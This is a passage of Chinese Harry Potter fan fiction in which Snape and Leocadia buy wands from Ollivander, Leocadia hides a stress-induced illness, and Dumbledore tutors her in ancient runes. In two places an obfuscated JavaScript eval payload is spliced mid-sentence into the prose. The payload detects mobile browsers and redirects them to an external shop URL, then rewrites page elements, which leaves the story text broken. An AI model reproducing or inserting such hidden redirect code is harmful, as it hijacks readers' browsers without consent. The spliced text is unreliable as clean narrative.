他转身,从墙壁上抽出一个盒子,拿出一支魔杖放在斯内普的掌心:“十三英寸,白蜡木,杖芯是蛇的神经……好吧,不是。” 他把魔杖装回盒子里,放在一边,又抽出一个盒子。 莱奥卡蒂亚觉得很有趣,听奥利凡德的言行一致的心声有趣,听斯内普起起伏伏的心声也有趣,听邓布利多……哦,他也开着大脑封闭术呢。 “这支,十四英寸,桦木……好吧好吧,不要激动……回去睡觉吧……” “再试试这个,栗木,蛇神经……不,不对,不是这个……” “柏木……柏木的,独角兽毛,十五英寸,有点长,但你还在长身体……好吧,也不是它……” 斯内普的心情随着一支支魔杖放在掌心而激动,又随着一支支魔杖的离开而失落。 wuuuuiiiii↑地升上去,xiiiiiuuuu↓地降下来,比坐过山车还刺激。 莱奥卡蒂亚在一旁看热闹不嫌事大,悄悄给斯内普的内心过山车配音。 扭扭酸疼的脚踝,莱奥卡蒂亚怀疑自己也得挑很久,但她的脚底已经很疼了——她真的很讨厌毫无弹力的软底鞋。 她身子晃动一下,抓住邓布利多的袖子。 邓布利多垂头,眼神询问她发生了什么。 莱奥卡蒂亚拉起一点裙摆,露出鞋子,用可怜巴巴的眼神望着邓布利多。 邓布利多无声地“啊”了一声,从袖子里滑出一粒糖,在它落地之前将它变成一把凳子。 莱奥卡蒂亚松了一口气,几乎是立刻坐了上去,朝邓布利多感激地眨眨眼。 邓布利多回以无奈一笑。 “……来试试这个吧,十四英寸,黑刺李木,杖芯是……”奥利凡德介绍的声音突然卡壳,“杖芯是凤凰羽毛,这可真是……” 当这跟漆黑笔直、没有过多花纹的魔杖落在斯内普掌心时,一股难以言说的直觉让他握紧了它,下意识挥舞—— 一朵朵明丽的金色小花飘落在地。 莱奥卡蒂亚捡起一朵:“啊,是永久花。” 这花在意大利挺常见的,又叫意大利蜡菊,能做护肤品,还能做香氛调解情绪,有时候她会在花园里找一些,晚上闻着香气入睡。 斯内普看一眼她,又看向奥利凡德。 “好吧,它选择了你,”但奥利凡德脸上的纠结都快溢出来了,“黑刺李木需要你与它真正磨合……凤凰尾羽,哦,也是极难驯服,但一旦认主,它们会爆发出强大的力量……” “毫无疑问,你会有一番作为……你是天生的战士……确实如此……” 莱奥卡蒂亚听着奥利凡德的介绍,指尖捻动那朵小小的菊花。 这不是契合得挺好吗? 她竟然从那根魔杖上感受到了欣喜。 斯内普回到邓布利多身边,莱奥卡蒂亚站起来,朝奥利凡德走去。 13. 13 奥利凡德照旧为莱奥卡蒂亚量了一些数据,但在找魔杖之前,他端详了一会儿她的眼睛。 “这位小姐,你有一双不同寻常的眼睛,我想问,你是否有特殊的天赋?”奥利凡德梦呓般地提问。 “是,我是天生的摄魂取念者。”莱奥卡蒂亚如实回答。 “摄魂取念,啊,原来如此,我明白了……天赋极高,似乎能用无杖无声咒……”但奥利凡德依旧低着头沉思,“你是否是外国人?” “我是意大利人,”莱奥卡蒂亚眉头一皱,觉得事情不简单,“买魔杖还要看国籍吗?” “不,当然不,但这个问题对你来说是必要的。”奥利凡德再次打量了她的眼睛,“你的母亲是否是费德丽卡·维西佩尔?” 莱奥卡蒂亚意识到问题很大,于是干巴巴地点头:“是,没错。” 奥利凡德突然转向邓布利多:“原来如此,原来如此!原来是维西佩尔!” 他手舞足蹈起来:“金合欢木……难怪它们吵吵嚷嚷的,是维西佩尔来了!银椴木!葡萄藤木!冬青木!紫杉木!……我数不过来了!” 莱奥卡蒂亚:“……好吧,请您冷静一点。” 邓布利多也不由得安抚激动的制杖师:“加里克,请冷静下来。我以为这不是什么大问题。” “不!问题很大!相当大!”奥利凡德叉腰咆哮,唾沫横飞,完全不在乎面前的人叫阿不思·邓布利多,“我这里没有‘一根’适合她的魔杖!适合她的绝对不是‘一根’!” “我这里所有魔杖都适合她!”奥利凡德又张开双臂画了个圈,相当愤怒,“梅林的臭袜子啊!这已经是第三次了!第三个来这家店挑选魔杖的维西佩尔! 第一个还好说,邓布利多先生,那位是跟你一个年代的了,听说她也不怎么用魔杖; 而第二个不是在抢魔杖就是在抢魔杖的路上!被抢走魔杖的巫师要么哭哭啼啼地来买第二根,要么去找那些粗制滥造的制杖师买魔杖!不能这样!第一根魔杖是巫师一辈子的伙伴!” 莱奥卡蒂亚在店里三位男士神色不一的注视下缓缓地捂住脸。 看我干什么? 这能怪我? 真是的,我还一根都没抢过呢。 好在奥利凡德很快就平静下来。 “……小姐,这间店里每一根魔杖都会对你百依百顺。”老人在她面前蹲下,银白的眼睛诚恳又认真,“它们会前赴后继的选择你,把所有力量都献给你,献上它们甚至不会完全给原本的主人的忠诚,但是我恐怕它们永远无法百分百的满足你。” 莱奥卡蒂亚轻轻地说道:“我知道。” 寻找一根能完全契合自己灵魂的魔杖,这是母亲一辈子的追求。 “我很苦恼,小姐,也许连传说中安提奥克·佩弗利尔拥有的老魔杖都无法填补‘the one’和你之间的空隙。”老人心里写满了愧疚,“抱歉,孩子,我做了一辈子魔杖,但无法给你和你的母亲做出合适你们的魔杖。” 莱奥卡蒂亚伸手拉住他垂在身侧的手,真挚地微笑:“不可否认,您是全英国最好的制杖师,母亲说您做的每一根魔杖她都很喜欢——” 奥利凡德立刻吹胡子瞪眼:“她还在抢别人的魔杖?!” “……我恐怕是的,”莱奥卡蒂亚把尴尬藏在心里,把微笑缝在脸上,“也许您不喜欢她这么做,但我需要代替她,向您表达最诚挚的谢意。您还在努力寻找、努力制作她的‘the one’,我也会寻找我的。” “也许是明天,也许是后天,也许等您从工作台上抬起头,母亲和我就会带着我们的魔杖来向您道谢。” 莱奥卡蒂亚想了想,补充一句:“也许我应该为此向您学习如何做魔杖?” 奥利凡德皱着脸思考:“我可以教给你基本的制作手法,但是制作魔杖需要绝佳的天赋和专注力,我不确定你能不能感受到魔杖们的心情……” “哦,你是摄魂取念者。”他突然跳起来,“说不定呢……来,来听听这个!” 他抽出自己的魔杖:“鹅耳枥木,龙心弦,跟了我一辈子的老伙计!你听听它在说什么吧!” 邓布利多不由得出声阻止:“加里克,摄魂取念者只能看见人的记忆……” “不,邓布利多先生,”莱奥卡蒂亚犹豫地揉揉耳朵,“我敢肯定我在听一些声音……自从进了这里,我就一直能听到。” 起初只是婉转细小的风一样的声音,莱奥卡蒂亚以为是风吹过魔杖盒的白噪音。 但随着盒子的打开,那些声音就清晰了起来。 ‘是他吗?是他吗?’ ‘黑色的,我喜欢黑色的!’ ‘奥利,老奥利,让我试试!’ ‘哈哈!这个男孩属于黑刺李木!’ … ‘……嘘,你们听见了吗?你们闻见了吗?’ ‘是维西佩尔!是维西佩尔!’ ‘我是伟大的橡木!快带我走!’ ‘选接骨木!选接骨木!’ ‘不!金合欢永远爱你!啾咪!’ … 直到现在,奥利凡德举着魔杖问她。 莱奥卡蒂亚的脸色逐渐古怪。 “‘我喜欢奥利,但我也喜欢维西佩尔……呜,奥利每做一把魔杖,就代表我和他有了一个孩子,所以我不能离开他。但是这个维西佩尔比前两个还要香……呜呜,想贴贴。’” 莱奥卡蒂亚没有感情地转述着奥利凡德的魔杖的话。 奥利凡德“嗖”的一声收回魔杖,坚决不让她再看第二眼。 “奥利凡德先生,看来你经常用魔力保养你的魔杖,它真的很喜欢你,也很活泼。”莱奥卡蒂亚仿佛刚刚什么都没说过一样,“我也不知道怎么回事,反正我就是能听见。” 明明她玩母亲给她的那一盒魔杖都听不见。 ……也可能是因为母亲和她都不常用那些可怜的魔杖们,它们没有魔力滋润,意识沉睡,只保留下了基本的能力。 莱奥卡蒂亚的良心有一点痛,决定回去就把那些魔杖拿出来好好擦擦。 奥利凡德咳嗽一声:“我知道了。你想跟我学习做魔杖?好吧,也不是不行。” 他是没办法给维西佩尔们做魔杖了,但谁说她们不能自己做呢? 莱奥卡蒂亚重新规划自己的课表,找出一个合适的时间:“不知道每周六下午两点到五点您是否有安排?” 奥利凡德:“你就打算每个星期只来三个小时?!那可是我一辈子的经验!” 莱奥卡蒂亚:“……可是我真的没有空余的时间了。那要不我把整个周日都空下来,过来学习?” 奥利凡德满脸“你这个年纪的小巫师怎么能说自己没有时间”的不信,但还是妥协了:“算了,就周六。” 他转身在柜台下翻翻找找,拿出一本破破烂烂的笔记本:“这是一些木材的选择,和我的心得体会,你可以先拿回去看看。” 莱奥卡蒂亚双手接过:“好的好的,一定一定。” 怎么出来逛个街都能给自己报个兴趣班? “但我得先选一根魔杖。” “选吧选吧,你闭着眼睛也能找到最听你话的那根。” 她闭上眼睛,听了一会儿,指向角落里的一根魔杖。 奥利凡德将它取出来:“十三英寸,金合欢木,夜骐尾毛,又是一根与众不同的魔杖,你们维西佩尔总喜欢挑战困难,而且总是能成功。” 不,选它只是因为它在唱Old Time Rock and Roll。 原来奥利凡德先生也喜欢听摇滚乐? 莱奥卡蒂亚掏出十四枚金加隆递给奥利凡德。 在邓布利多的暗示,和奥利凡德本人的考量下,莱奥卡蒂亚和斯内普并没有在这里登记魔杖。 奥利凡德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299281|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘟哝着“等开学再来一趟,给你们的魔杖做个保养”,莱奥卡蒂亚就领会了他的意思—— 今天没有人来买过魔杖,就像今天英国依旧没出太阳一样。 从魔杖店出来,邓布利多又带他们去了丽痕书店,莱奥卡蒂亚买了几本邓布利多推荐给她的书,斯内普则在搜刮自己没看过的魔药书。 邓布利多还建议她买一只猫头鹰,来都来了,买一只玩玩也好,还能给他寄信呢。 被现代科技娇惯着长大的莱奥卡蒂亚很想问问能不能她出钱给霍格沃茨通电话。 但她还是买了一只猫头鹰。 是一只鸮形目·鸱鸮科·角鸮属的非洲角鸮,这位美丽的小姐有着灰白色的羽毛,极易隐藏在丛林之间。 猫头鹰店的老板很热情地介绍:“这是我店里唯一一只非洲角鸮,我可是花了大价钱引进了她的父母。她很听话,也很忠诚,吃得不多,翅膀有力,长途飞行能力很强。如果不是邓布利多校长带你们来,我都不会推荐给你的。” 莱奥卡蒂亚隔着笼子,对上非洲角鸮小姐炯炯有神的琥珀色大眼睛。 “Ambra,安布拉。”莱奥卡蒂亚决定了她的名字,“你好,‘琥珀’小姐。” 斯内普抄着手。 他感觉莱奥卡蒂亚只是看着平静,其实心里已经要开花了。 邓布利多直接把他们送回萨卢佐家,摸了两条听话的大狗,又听了莱奥卡蒂亚的新课程安排,对她“只要学不死什么都能学”的精神叹为观止:“上一个让我这么惊讶的学生还是汤姆。” 莱奥卡蒂亚有气无力:“谢谢,但我不想在您眼里成为黑魔王预备役。” 斯内普捂着自己的魔杖坐到离莱奥卡蒂亚最远的沙发上。 莱奥卡蒂亚斜眼嗤笑他的行为:“放心,你的魔杖对我不感兴趣。” 这根魔杖跟斯内普一样有脾气,全程就说了两句话: ‘这小子?还行。’ ‘维西佩尔?不稀罕,走了。’ 很好,真的和奥利凡德说得一样,黑刺李木和凤凰羽毛的组合很有脾气。 斯内普对她的警惕可不会随意消除,他完全不理莱奥卡蒂亚,捧着早上没看完的魔药课本继续学习。 莱奥卡蒂亚深感欣慰,决定把魔药课暂且扔到一边,她以后抄西弗勒斯的作业就好啦。 玛利亚对莱奥卡蒂亚把校长带回家这件事非常严肃,给他们上了茶水点心就挽起袖子钻进厨房。 邓布利多看着两眼放空的小姑娘踢掉拖鞋,两脚直接陷进长毛地毯里,明明脸上什么表情都没有,却像一只垮起臭脸的小猫。 邓布利多没忍住,伸手摸摸她有些乱了的盘发:“真的不给自己划掉一些课程?” 莱奥卡蒂亚已经在褪色的边缘徘徊了:“我也想,邓布利多先生。” “但我……我想您应该看到了,我真的没有时间拿来浪费。” 她抬起头,试图用轻松的表情糊弄邓布利多的眼睛。 可惜邓布利多确实看见了,也知道她在说什么。 他叹气:“无论怎么努力,你也得保持良好的身体状况啊,我还期待着两年后能在霍格沃茨教导你呢。” “我相信在那之前,西弗勒斯能做出完美的补身体的魔药。”莱奥卡蒂亚决定拉斯内普下水。 无辜被cue的斯内普疑惑看过来。 “他才九岁,就算你认为他日后大有作为也不能急于一时。”邓布利多故作严肃地拉下脸。 莱奥卡蒂亚不假思索脱口而出:“他欠我钱,他是自愿的。” 斯内普暴起:“谁自愿…自愿什么?你又说让我今年就做试着出福灵剂这种不经过大脑的话了吗?你咖啡喝多了脑子生锈了吧?!” 莱奥卡蒂亚摊手:“看,他是自愿的。” “不要在那里自话自说啊你这家伙!” 邓布利多:“年轻真好啊。” 14. 14 邓布利多对玛利亚做的晚餐赞不绝口,这让玛利亚连连赞美上帝,脸色红润得仿佛化了妆。 “玛利亚原本是祖父的女仆,后来去厨师学校进修了很久,我出生之后回到萨卢佐家,成为了我的保姆,”莱奥卡蒂亚切割着鲜嫩的小牛排,“本来她已经到退休的年纪了,但她还是坚持跟我来英国。” “自从家主把我从拉文斯布吕克里拉出来,我就向上帝发誓一定要好好报答家主。”玛利亚动作灵巧地给莱奥卡蒂亚的盘子里加上一份水煮西蓝花,“而且小姐是我照顾着长大的,我可不能让小姐在异国他乡吃苦头。”* 在玛利亚眼里,英国菜绝对不能端到莱奥卡蒂亚的面前。 邓布利多恍然大悟:“拉文斯布吕克是……哦,看来你的祖父有一段很英勇的故事。” 莱奥卡蒂亚插起一朵西蓝花,很意外他会知道这个:“您也知道?” “哈哈,当然,我可不是只会在象牙塔里教书的老人家。”邓布利多朝莱奥卡蒂亚举杯,“我年轻的时候可是去过很多地方的。” 莱奥卡蒂亚举起橙汁和邓布利多碰了一下:“祖父也是如此。” 然后趁玛利亚回厨房,莱奥卡蒂亚的魔杖从袖子里露出一个尖,迅速把部分西蓝花用漂浮咒扔进斯内普的盘子里。 斯内普:“喂!羽……咳!” 莱奥卡蒂亚从容地把手掌从他背上撤下来。 邓布利多一直低着头研究着小牛排上的黑胡椒汁,眼神专注而感动,仿佛那不是一份普通的黑胡椒汁,而是一件能让伏地魔束手就擒的神器。 等斯内普和莱奥卡蒂亚相互瞪视几眼,在武力威胁下开始愤愤咀嚼西蓝花后,邓布利多才捋着胡子,轻轻一笑:“你们感情真好。” 莱奥卡蒂亚:“对啊对啊。” 斯内普:“才不好!” 吃完饭后,邓布利多不知从哪拿出一面镜子递给莱奥卡蒂亚。 “这是双面镜,请原谅我虽然很想时时教导你,但有时候我不免会忙得晕头转向,暂时我们就用这个联系吧。当然,我让弗雷德里克帮你申请了飞路网节点,等节点装好了,你可以随时来校长室找我。” 莱奥卡蒂亚研究着手里的镜子:“所以巫师也是有电话的?其实我有想过能不能出钱给霍格沃茨装电话,但弗雷德里克说城堡能屏蔽电子信号。” 要不研究一下魔法版的电话? 邓布利多一愣,然后大笑:“现在我真希望你能成为校董,你可比现在的校董们舍得拨款。” 莱奥卡蒂亚挑眉:“当然可以,只要你收支票。” 邓布利多花哨地鞠了躬,消失在原地。 斯内普见老校长离开,松了口气,转向莱奥卡蒂亚:“那我也……” 他骤然睁大眼睛,扶住了朝他倒来的女孩子。 在闻到悠长的葡萄香味的同时,双臂之间,脸色青白的莱奥卡蒂亚紧紧捂住嘴唇,怀里的重量轻得像一片羽毛。 “你……” 莱奥卡蒂亚的另一只手捂住他的嘴,与平日无二的声线从指缝间钻出来:“先别回去,我有东西给你。我放在房间里了,你先跟我上去。” 斯内普刚想说话,捂在嘴上的手掌再次用力:“好了,别拒绝,很重要的东西。” 他尝到了一点咸,那是莱奥卡蒂亚掌心的汗水。 他望进那双痛苦的、带着血丝的眼睛,轻轻点头。 莱奥卡蒂亚的手骤然垂下,斯内普不动声色地借力给她,带着她缓缓走向楼梯,嘴上如常地嘲讽:“是什么东西还需要大小姐亲自转交给我?哦,我可真是太荣幸了,需要我绅士地亲吻您的手吗?” 要我帮忙? 他用眼睛这样问。 莱奥卡蒂亚没什么力气地点头,然后做了个口型。 斯内普抽出魔杖,一挥一点,厨房里哗哗的水声盖住了他的念咒声:“羽加迪姆勒维奥萨。” 莱奥卡蒂亚双脚离地,像只风筝一样飘起来,身上唯一连接大地的,是搭在斯内普肩上的手臂。 他们来到了二楼,斯内普原本想把她放在楼梯左手边会客室的沙发上,结果莱奥卡蒂亚一指右边那扇紧闭的雕花大门。 斯内普挤出气音:“那是你的房间!” 莱奥卡蒂亚只是无声地看着他,金发被汗水黏在脸上,睫毛上挂着生理性的泪水。 斯内普在抓狂的前一刻下定决心,拉着她,推开她的卧室门。 一进门,莱奥卡蒂亚就挣脱了漂浮咒,脚步虚软地冲向远得令人发指的盥洗室。 斯内普站在原地,双脚像生了根一样沉重,眼睛只敢盯着地毯,在充斥着薰衣草味的空间里呆滞几秒,不明白自己怎么就进了女孩子的房间。 盥洗室里传出痛苦的呕吐声。 斯内普拔动生根的脚,也冲向盥洗室,在莱奥卡蒂亚身边蹲下,拍打她的背:“喂,莱奥,还好吗?” 他余光瞥见一抹红色,顿时更着急了:“你吐血了?!我去告诉玛利亚!” 莱奥卡蒂亚抓住他:“别去!” “可是……” “谁都不许说。我的床头柜,第一层,里面有蒙脱石散,”她有气无力地松开他,“咖啡桌上有热水机,随便拿个杯子,帮我冲一袋。谢谢。” 斯内普只能先按照她的话去做。 拿药的时候他没有四处乱看,只看见一条被扔在床头柜上的白毛巾,上面带着干涸的血迹。 斯内普没有耽误时间,很快冲好水泥一样的药,端进盥洗室里塞到莱奥卡蒂亚手中。 她轻轻道谢,然后仰头一饮而尽,冷白的脖颈上蜿蜒着条条青筋,像一只布满了裂痕的中国瓷器。 平常怎么没发现她这么苍白? 斯内普递给她第二个杯子,里面是温热的清水。 刚刚冲药的时候他就觉得空口喝水泥对病人有点残忍,才不是因为担心莱奥卡蒂亚因为糟糕的口感再吐一次。 莱奥卡蒂亚惊讶地抬头,接过来喝了两口。 等她喝完,斯内普才问:“你到底怎么了?” “……”莱奥卡蒂亚坐在地上,低着头,沉默一会儿,才平静地笑笑,“我的味觉、嗅觉,和消化系统都出现问题了。” 斯内普蹙眉:“有病就去看病啊。” 莱奥卡蒂亚轻轻摇头:“是心理问题导致的,吃药也没太大用处。” 她微动身子,试图站起来:“没关系,我已经习惯了。” 一双有力的手抓住她的手肘,伴随着不耐烦的咂舌,力度相当温柔地把她拉起来。 “你就这么瞒着?你觉得你能瞒过所有人?还是觉得你能瞒一辈子?”斯内普撑着她走出盥洗室,把她压在床上,“还是你觉得我不会说出去?” 莱奥卡蒂亚顺了顺头发:“这是威胁吗?” “我怎么敢威胁你?”斯内普语气嘲讽,“听着,你最好乖乖去医院看病吃药。” “然后呢?吃各种药?做各种检查?然后什么都查不出来,再去看心理医生?”莱奥卡蒂亚抽了张纸巾揩揩嘴角,“相信我,西弗勒斯,这套流程我经历过三次,如果有用的话我不至于什么都不说。别站着了,坐下吧,不然我还要抬着头和你讲话。” 斯内普拖了把圆凳坐在她面前:“是摄魂取念?可是不该有这么大的影响吧?” 莱奥卡蒂亚掀开被子裹住自己:“唔,其实是因为我能闻到和尝到情绪的味道。” 斯内普猜测:“很难闻?还是很难吃?” “都有。” 莱奥卡蒂亚把脸缩进被子筒里,又“唔”了一声,眼睛低垂,沉默地坐着。 斯内普也沉默了。 良久,莱奥卡蒂亚才轻轻开口。 “自从我开始刑.讯,我用了两年的时间让所有刑.讯组的人不敢在我面前产生任何情绪。我用摄魂取念一次次攻破他们的内心,在我面前,他们只能是大脑空空的机器。” “但这里的人们……让我一度很想回意大利,可是我是来上学的,我坚持踏出了第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299282|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步,总不能在第二步就退缩吧?” “……所以我最喜欢祖父和母亲。”她没什么逻辑的低声说,“祖父几乎很难产生负面情绪,闻起来是葡萄酒的味道;母亲常年不在家,但她在我面前,永远只会像一棵树,一颗坚定的树。” 她从嗅觉和味觉角度描述这个世界:“祖母是火辣的汤,玛利亚是太阳下的被子,莉莉和她的名字一样,是一朵百合花。” 斯内普忍不住问:“那我呢?” 他生怕她说自己闻起来像什么不好的东西。 金色的睫毛掀起,那双紫色的眼睛带着浅浅的笑意,望进他的眼底。 “西弗勒斯……西弗闻起来是药的味道。苦,但混合了植物的香,有时候像一块黑巧克力,仔细尝起来是甜的。” 斯内普耳尖发红,低下头咕咕哝哝:“好恶心的形容……还有,别这么叫我。” “才不恶心,明明是实话。所以西弗的情绪我其实很难判断出来……啊,现在看表情是在害羞。”莱奥卡蒂亚才不觉得自己说的话很恶心,“是在夸你啦,我喜欢巧克力,你的情绪能让我平静下来。” 斯内普的头更低了:“都说了……算了随你吧。” 他平复了一下情绪:“那,也许我还能从别的方面帮你,比如魔药。” 莱奥卡蒂亚露出一点很难察觉的嫌弃:“我很早就想说了,魔药的制作方法和中药的制作方法好像,就是颜色和味道比中药好。” 斯内普故作高深地摩挲下巴:“原来如此,你害怕喝药啊。” 莱奥卡蒂亚嘴硬:“完全不知道你在说什么,我只是讨厌喝用奇奇怪怪的东西做出来的奇奇怪怪的东西。” 斯内普用一个鼻音表达了自己的怀疑和不信。 “我该回家了。我会问问妈妈,有没有办法能帮你。”他站起来,“我觉得你应该再吃一点好消化的东西。” 莱奥卡蒂亚恹恹地摆手:“吃什么都一样啦。明天早上你还来吗?” 斯内普:“当然。” “哦,”莱奥卡蒂亚松了口气,“那就好,我还担心你会被我的话吓到,然后再也不来了。” 好不容易忘记她说过什么的斯内普:“……闭嘴吧你。” 他做贼似的逃下楼,一路狂奔回蜘蛛尾巷——九年了,他第二次这么渴望回家——第一次竟然也是为了莱奥卡蒂亚。 托比亚不在,不知道是出去喝酒还是去上班了。 他上楼,犹豫了一下,还是敲响了艾琳的房门:“妈妈,我能进来吗?” 艾琳显然还没睡:“西弗?进来吧。” 斯内普推开门,艾琳正在写什么东西,那双和他一样的黑色眼睛看过来:“你给你爸爸留门了吗?” “留了,”虽然斯内普更希望那个男人能直接死在外面,“妈妈,我有件事想问你——你还记得两年前那个女孩吗?” 艾琳当然记得:“她啊,她不是回家了吗?” “对,但是她也是巫师,要来霍格沃茨上学,现在就住在莉莉家旁边,”斯内普三言两语地概括情况,“她身体不好,我想问,您知不知道有什么可以保护肠胃的药吗?” 艾琳轻轻惊呼:“啊,原来她也是巫师啊……这样啊,是啊,我以前也给托比亚做过类似的魔药,等我……” 她突然陷入长久的安静。 斯内普等了一会儿,轻声道了晚安。 他回到了自己的房间,身上还穿着莱奥卡蒂亚给他的西装,属于他的那套衣服装在袋子里。 艾琳没发现他换了身衣服。 没人要求他换下来,也没人要求他归还,更没有人觉得他配不上这套衣服。 他一路拎着它回来,袋子的重量轻若鸿毛,又重逾他所有的自卑、不甘和愤世嫉俗。 西弗勒斯·斯内普终于与莱奥卡蒂亚·萨卢佐共享了同一个秘密。 哪怕他知道这个秘密并不该存在。 他抱紧自己,如同抱紧曾在他怀里停留过的,一片羽毛的重量。 15. 15 弗雷德里克对早餐桌上经常长出来的黑色小蘑菇已经见怪不怪了。 他们在这边吃着早饭,客厅的壁炉边一个棕发的圆脸男人吭哧吭哧给壁炉施法。 那天带孩子们串门的时候,弗雷德里克从邓布利多那里离开,就回部里走了个后门。 他舍友就在魔法交通司下属的飞路网管理局工作,于是他借着“孩子马上就要上学了”这个借口给莱奥卡蒂亚家开通了飞路网节点,两天就审批好了所有文件。 舍友一听这是费德丽卡·维西佩尔学姐的女儿,当即一个激灵,今天一大早就忙不迭跑来,一边工作一边围观“那个维西佩尔”的女儿。 莱奥卡蒂亚被看得怀疑人生:“母亲是抢过他的魔杖吗?” “是啊是啊,他哭得可惨了。”弗雷德里克幸灾乐祸。 舍友假装朝他丢魔咒:“毕竟我可不像某个以送魔杖为荣的傻大个,一根魔杖可是要7加隆呢!” 说到这里他又看了一眼莱奥卡蒂亚,态度诚恳,措辞直接:“萨卢佐小姐,我儿子和你一样大,将来是你的同学,而我又是你妈妈的同学,所以你能不能别抢他的魔杖?” 怎么?在你们巫师眼里这种爱好都能写进基因里遗传给我吗? 那我不真的抢一抢岂不是很没面子? 莱奥卡蒂亚握紧勺子,顶着斯内普看好戏的眼神微笑:“怎么会呢?我好像对抢别人的魔杖没兴趣,这位……啊,抱歉,忘了问您的姓名了。” “隆巴顿,我姓隆巴顿,路易斯·隆巴顿,”男人看起来想过来握手,但满手都是灰尘,所以悻悻作罢了,“我儿子叫弗兰克,我觉得他会是个格兰芬多。” “好的,隆巴顿先生,”莱奥卡蒂亚记下他儿子的名字,“不知道开通飞路网节点需要支付多少金加隆?” 隆巴顿摆手:“没关系,弗雷德里克给过了。” 弗雷德里克耸肩:“这钱我会找你妈妈要的。” 莱奥卡蒂亚给玛利亚递了个眼神,玛利亚就拎出来一篮子散发着甜香的面包:“那请您收下这个,就当是我代表母亲向您道歉。” 隆巴顿推拒,弗雷德里克三两口吃完手上的面包,接过篮子哥俩好地递给他:“行了路易,你就收下吧,这小丫头比你老婆还讲规矩。” 隆巴顿只好收下,还朝莱奥卡蒂亚憨厚一笑。 弗雷德里克又拿出一盒飞路粉放在壁炉上:“这下好了,我可以直接走壁炉上班了。好了,我和路易一起去上班了,你们自己慢慢玩。” 莱奥卡蒂亚用看新玩具的眼神看着他们消失在火焰里。 斯内普断定她在储存一些坏心思。 比如入学就去折腾那个隆巴顿的儿子。 但他不想现在就点破,免得自己成为被她折腾的那个:“我去练习了。” 莱奥卡蒂亚回神:“去吧去吧。我问问邓布利多校长有没有时间。” 霍格沃茨的古代魔文是选修课,炼金术甚至只在六年级才开选修课程,而大部分学生都对这门课不感兴趣,导致这门课程一度成为冷门中的冷门。 弗雷德里克的古代魔文仅仅只是入门,连《古代魔文简易入门》都讲不明白,讲着讲着就忘词。 好在《符号与文字》介绍的道家符文、巫毒符文、女巫符文、几种如尼文和索罗门符文她基本背下来了,还掌握了不少古代魔文,万事俱备,只欠邓布利多这股东风吹一吹。* 于是在得知邓布利多今天就有时间后,莱奥卡蒂亚麻利地收拾了自己的笔记和书,带着一箩筐的问题跳进了壁炉。 邓布利多正在给凤凰梳毛,见莱奥卡蒂亚从壁炉里跳出来,心情很好地摸摸凤凰的头:“看,福克斯,这是莱奥卡蒂亚小姐,你还记得费德丽卡吗?那是她的妈妈。” 凤凰的眼神瞬间犀利起来。 莱奥卡蒂亚喜欢这只漂亮的大鸟:“你好福克斯。” 凤凰觉得不好,它高贵冷艳地张开翅膀,消失在火光中。 莱奥卡蒂亚走到邓布利多身边坐下:“它去哪了?” 邓布利多作出思考状:“我也不知道,也许是纽蒙迦德?” 莱奥卡蒂亚正从书包里拿出笔记本,闻言一愣:“你在开玩笑吧?” 你们是什么离异夫夫吗?孩子还能去前夫那里过个暑假吗? 邓布利多半真半假地回答:“也许,只是也许,福克斯会去任何它想去的地方。” 莱奥卡蒂亚对两个老爷爷的爱情故事有点兴趣,但不多,眼下还是搞学习比较重要:“好吧。弗雷德里克的古代魔文太烂了,所以我攒了好多问题……” 古代魔文,顾名思义,从古代流传下来的魔法文字,从东方到西方,每个地区都有属于自己的魔文体系。 西方最常见的古代魔文是如尼文,据说是奥丁倒吊在世界树上,以一只眼睛为代价才参悟的。 魔文被广泛运用于魔咒、炼金术、魔法物品的制作等领域,魔文就像集成电路上的微晶体管——祖父认为,这些指甲盖大的电子芯片是未来第三次科技革命的核心。而炼金术就是将这些魔文的功能最大化,组装运用到各类物品上。** 微晶体管和芯片是科技未来的底色,那么在魔法界里,魔文、魔咒和炼金术构成了魔法界的基础。 比如,霍格沃茨城堡就是一个集各类魔文、魔咒于一身的超越时代的炼金作品。 四位创始人倾尽心血打造的城堡庇护着懵懂的小巫师们,同时,实时变换的楼梯、存在于角落的各种密道,就像一栋宝库供他们发掘、探索这栋城堡的秘密,连历任校长都无法得知这栋城堡的全貌。 莱奥卡蒂亚对此充满了好奇。 她六岁的时候,有一天在萨卢佐城堡的谷仓里玩耍,突然发现一只鸡消失在一个地洞里,一铲子挖下去,她挖出了一个萨卢佐家没有记载在家主笔记上的藏宝洞。*** 这导致她很想扛着铲子在霍格沃茨里到处挖一挖,说不定能翻出四巨头留下的宝藏呢。 嗯,这一点也许是遗传了考古学家阿尔伯特爸爸的基因。 邓布利多有点惊讶于她的自学能力,并赞扬了她的自学笔记:“真希望霍格沃茨的小巫师们都能和你一样,有良好的做笔记的习惯。” 莱奥卡蒂亚热情推荐:“是吧是吧,我也觉得好用,很清晰很有条理,我从康奈尔大学的教育学教授沃尔特先生那里学到的。”**** 她抖抖纸面:“但在霍格沃茨推广一种来自麻瓜的学习习惯应该很难吧?” 弗雷德里克至今看不上她家的电话,说还是双面镜好用,因为电话不像双面镜一样可以看见对方的脸。哪怕只要按出号码,一部电话就可以接通所有有电话的家庭。 在这一点上,哪怕是邓布利多也没办法。 巫师家庭大多家有恒产,巫师们哪怕不上班也能用魔法种地来养活自己,更别提还有魔法部、圣芒戈、各大报社等固定岗位,常年从霍格沃茨直接招人。 